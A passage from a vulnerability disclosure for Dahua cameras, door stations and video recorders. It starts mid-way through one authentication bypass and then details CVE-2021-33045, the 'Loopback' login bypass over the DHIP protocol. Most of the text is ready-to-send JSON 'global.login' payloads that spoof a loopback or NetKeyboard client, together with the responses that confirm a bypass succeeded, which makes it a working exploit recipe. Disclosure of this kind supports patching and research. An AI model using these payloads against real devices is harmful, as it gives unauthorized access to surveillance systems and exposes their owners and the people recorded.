Successful bypass returns: {"id":1,"params":{"keepAliveInterval":60},"result":true,"session":<sessionID>} [Example] { "method": "global.login", "params": { "userName": "admin", "loginType": "Direct", "clientType": "NetKeyboard", "authorityType": "Default", "passwordType": "Default", "password": "Not Used" }, "id": 1, "session": 0 } -=[Loopback Vulnerability]=- CVE-2021-33045 Vulnerability: "ipAddr": "", "loginType": "Loopback", "clientType": "Local", Vulnerable device types: IPC/VTH/VTO/NVR/DVR (tested) Vulnerable Firmware: Firmware version older than beginning/mid 2020. Protocol: DHIP Details: Setting above "Vulnerability" on "Vulnerable device types" during 1st or 2nd "global.login" sequence pretends that the login request comes from "loopback" and will therefore bypass legitimate authentication. Successful bypass returns: {"id":1,"params":{"keepAliveInterval":60},"result":true,"session":<sessionID>} [Example] Random MD5 with l/p: admin/admin { "method": "global.login", "params": { "userName": "admin", "ipAddr": "", "loginType": "Loopback", "clientType": "Local", "authorityType": "Default", "passwordType": "Default", "password": "[REDACTED]" }, "id": 1, "session": 0 } Plain text with l/p: admin/admin { "method": "global.login", "params": { "userName": "admin", "ipAddr": "", "loginType": "Loopback", "clientType": "Local", "authorityType": "Default", "passwordType": "Plain", "password": "admin" }, "id": 1, "session": 0 } [ETX]
